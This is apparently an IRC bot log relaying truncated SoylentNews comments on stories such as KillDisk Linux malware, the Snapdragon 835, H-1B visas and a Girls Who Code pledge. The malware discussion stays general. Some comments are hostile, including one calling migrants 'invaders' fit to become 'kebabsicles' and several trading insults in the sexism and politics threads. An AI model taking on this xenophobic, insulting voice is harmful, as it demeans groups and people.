[22:13:00] <exec> 08└─I have been experimenting with using multiple users for different tasks. It does not appear to be well-tested. Windows XP's "switch user" functionally looks like it was actually hard to duplicate with GNU/Linux and Xorg. It is almost easier to use 'su ' in the text console.
[22:13:03] <exec> *** new comment: 03Grishnakh [2831] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 531 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:13:03] <exec> 08└─Yeah, but the problem here is we're talking about malware that seems to target desktop users, not servers. Desktop users don't run server applications, certainly not exposed to the internet. Servers are, of course, going to have more attack vectors like that because they run services which are expos...
[22:13:05] <exec> *** new comment: 03shipofgold [4696] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 295 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:13:05] <exec> 08└─On Windows, the big problems seem to be with browser vulnerabilities, and with email attachments. The latter is really only a problem when running Outlook AFAICT, so that's not a problem on Linux, and I really haven't heard of any active browser exploits on Linux though I suppose it's possible.
[22:13:37] <exec> *** new comment: 03vux984 [5045] (Score:2) 02Re:luddite here - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 75 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:13:37] <exec> 08└─I thought the "1080" was a low end card until I was informed of my mistake.
[22:13:46] <exec> *** new comment: 03andersjm [3931] (Score:1) 02Re:96 DPI - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 130 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:13:46] <exec> 08└─Windows tools have long made it difficult to do anything correctly without a med-school level of study in Microsoft documentation.
[22:14:20] <exec> *** new comment: 03Scruffy Beard 2 [6030] (Score:2) 02Re:Difference between monitor and TV now - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 85 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:14:20] <exec> 08└─About 2006 with the release of Windows Vista and the Protected Media Path. Me Bitter?
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[23:09:11] <exec> *** new comment: 03XivLacuna [6346] (Score:0) 02Winter-chan doing what the EU leaders refuse to do - 06Deadly Icy Spell Grips Much of Europe, Including Greek Islands - 88 chars -04 http://soylentnews.org
[23:09:11] <exec> 08└─Freeze the invaders so they'll flee back to their just deserts or turn into kebabsicles.
[23:09:20] <exec> *** new comment: 03Snotnose [1623] (Score:2) 02Re:RISC-V - 06Qualcomm's Snapdragon 835 Detailed: 3 Billion Transistors on a 10nm Process - 208 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:09:20] <exec> 08└─I don't see that as happening. They're a founding member because they want to increase ARM marketshare. In their own top of the line chips they'll add their own secret sauce, which they''ll keep secret (heh).
[23:09:21] <exec> *** new comment: 03bob_super [1357] (Score:2) 02TFS summarized ... - 06Qualcomm's Snapdragon 835 Detailed: 3 Billion Transistors on a 10nm Process - 257 chars -04 http://soylentnews.org
[23:09:22] <exec> 08└─The title contains the same amount of information about the chip as TFS. Everything else is useless fluff about older process and older parts. Actually had to RTFA to learn something. I'm telling you, folks, it's a bad summary. bad! Terrible summary, folks.
[23:09:23] <exec> *** new comment: 03JoeMerchant [3937] (Score:2) 02Re:TFS summarized ... - 06Qualcomm's Snapdragon 835 Detailed: 3 Billion Transistors on a 10nm Process - 110 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:09:24] <exec> 08└─Thank you for your useful distillation of TFA and supplement to the lacking summary.... oops, well, maybe not.
[23:09:25] <exec> *** new comment: 03takyon [881] (Score:2) 02Re:TFS summarized ... - 06Qualcomm's Snapdragon 835 Detailed: 3 Billion Transistors on a 10nm Process - 307 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:09:26] <exec> 08└─Fake. The most important information is in the summary and not the headline: Samsung says its third-generation FinFET node "allows up to a 30% increase in area efficiency with 27% higher performance or up to 40% lower power consumption" relative to its first-generation 14nm 14LPE node at the same fr...
[23:09:27] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:TFS summarized ... - 06Qualcomm's Snapdragon 835 Detailed: 3 Billion Transistors on a 10nm Process - 79 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:09:28] <exec> 08└─So we're no longer in Moore's law land, but that's still quite the improvement.
[23:09:40] <exec> *** new comment: 03darnkitten [1912] (Score:2) 02Re:one of this year's... - 06The Science of Westworld - 56 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:09:40] <exec> 08└─...it sucks that Almost Human got the ax after 1 season.
[23:10:04] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 24 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:10:04] <exec> 08└─Check your spectrum hun.
[23:10:08] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 500 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:10:08] <exec> 08└─Possible 4th interpretation (and as it turns out the correct one for I am wise and all knowing *in this matter*): The post was to the ACs replying to ikanreed in an attempt to point out that they were missing ikanreed's point about cultural diversity and moral relativism. The quick jump to sexual mu...
[23:10:12] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 215 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:10:13] <exec> 08└─Americans don't value freedom to that extent. We regularly elect politicians that take away more and more of our freedoms, and fight against the Democrats that are supporting things that would increase our freedoms.
[23:10:14] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 813 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:10:15] <exec> 08└─While I agree with your conclusion that we frequently fight against political actions that improve our overall freedom, cultural norms don't exactly mandate conclusion. It's almost trivial to come up with ways where valuing something a little too much can keep you from getting it. Imagine wanting mo...
[23:10:16] <exec> *** new comment: 03Zz9zZ [1348] (Score:2) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 221 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:10:17] <exec> 08└─You need to look at some of the legislation, Democrats promote a huge amount of freedom restricting and surveillance policies all for the goal of "SAVE THE CHILDREN". American's getting fucked over is a bipartisan effort.
[23:10:34] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 170 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:10:34] <exec> 08└─Yes, we are the socialist. We surround you. We are the majority. We have more guns. We know how to educate. You are in big trouble, you racist, sexist, Ford loving moron!
[23:10:43] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 524 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:10:43] <exec> 08└─Red Pillars of Masculinity are getting the shaft again, so to speak. So sad, poor puppies! Did you realize that a large part of experience is determined by the experiencer? You if you are a sexist misogynist jerk, you will experience a lot of sexist misandrist discrimination against yourself because...
[23:10:48] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 67 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:10:49] <exec> 08└─girls are silenced collectively, but boys are silenced individually
[23:10:59] <exec> *** new comment: 03Grishnakh [2831] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 951 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:11:00] <exec> 08└─Lol, are you seriously blaming women for open plan offices? Wow, you should get an award for stupidest comment of the day for this one. In case it isn't obvious (it is, just not to you apparently), I'm blaming the crappy state of the industry and the work environment (including open-plan offices) fo...
[23:11:05] <exec> *** new comment: 03Grishnakh [2831] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 2240 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:11:06] <exec> 08└─It's not a bottleneck, it's a lack of interest. There's more women than men in college now; the ratio is about 60/40 last I heard. Women are advancing in professional fields farther than ever before. It's only in STEM (and especially in computer-related fields) where they're way behind, and falling....
[23:11:23] <exec> *** new comment: 03DeathMonkey [1380] (Score:2) 02Re:Girls are smart - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 330 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:11:24] <exec> 08└─Yeah I tossed you a softball there, now try womens studies and ballet. Ballet: Boys’ Scholarship Dance Program [metropolitanballetacademy.com] "Women's" studies: Teaching Gender Studies to Straight Men [insidehighered.com] Education: Men Teach [menteach.org] Cheerleading: Colleges with Male Cheerl...
[23:11:44] <exec> *** new comment: 03Grishnakh [2831] (Score:2) 02Re:"Environmentalists" - 06Controversial Nuclear Power Plant Near New York to Close - 588 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:11:44] <exec> 08└─It's probably arguable whether natgas/fracking is worse than coal, but I think coal is probably worse. At least with contaminated groundwater, you can personally mostly avoid it by just not drinking it, and sticking to properly reverse-osmosis filter water (plus, properly-treated municipal water sho...
[23:12:16] <exec> *** new comment: 03maxwell demon [1608] (Score:2) 02Re:cheapness vs range anxiety - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 138 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:12:16] <exec> 08└─Who has a plug with a significant fraction of a Megawatt available--this is starting to sound like direct connect to a generating station.
[23:12:18] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:cheapness vs range anxiety - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 64 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:12:18] <exec> 08└─e.g. some of the goods displayed on their palettes in the store.
[23:13:23] <exec> *** new comment: 03Dr Spin [5239] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 583 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:13:23] <exec> 08└─I cannot comment on the capabilities of WinXP, but you can login as multiple users in Linux and switch with CTRL-fx,, where X=7 for the first login, and higher numbers for later logins. Currently it seems to go a bit wierd in Ubuntu-Mate, but it used to work quite well in the past. (And so did CTRL-...
[23:13:28] <exec> *** new comment: 03Grishnakh [2831] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 1919 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:13:29] <exec> 08└─You're going to have to explain exactly how, in detail. I've never seen a way to run a downloaded binary on my Linux systems, without jumping through hoops. Downloading by itself is certainly easy enough. Actually running it? Not so much. You have to get the user to change the permissions to allow e...
[23:13:35] <exec> *** new comment: 03Dr Spin [5239] (Score:2) 02Re:RO? - 06KillDisk Malware Now Targets Linux - 156 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:13:36] <exec> 08└─It sure as hell won't effect them. As to whether it might affect them, well who knows? (The devil is in the detail, and the detail is conspicuously absent).
[23:15:22] <exec> *** new comment: 03Anonymous Coward (Score:0) 02About time? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 374 chars -04 http://soylentnews.org
[23:15:22] <exec> 08└─So Mayer, after having completed one last lets-screw-the-company-over-and-make-it-impossible-to-keep-going-independently moment (she wasn't the first, she will be the last to do so,) gets to desert the sinking ship with her golden parachutes intact. And as usual, it's the end users who were/are/will...
[23:15:56] <exec> *** new comment: 03Dr Spin [5239] (Score:2) 02new idea? - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 206 chars -04 http://soylentnews.org
[23:15:56] <exec> 08└─takes the most basic building block a computer can operate on, bytecode and runs it at a fraction of the speed of a real CPU, allowing you to watch it run each step of the way. I have a 386 that does that!
[23:16:47] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 932 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[23:16:47] <exec> 08└─Well, the person obviously doesn't know but I'd hazard guess number one: If roommate didn't know car was being borrowed, the term for that is Grand Theft: Auto. Not the game. The felony. Person may have been arrested shortly afterwards and since she admitted the facts to boss, may have admitted the...
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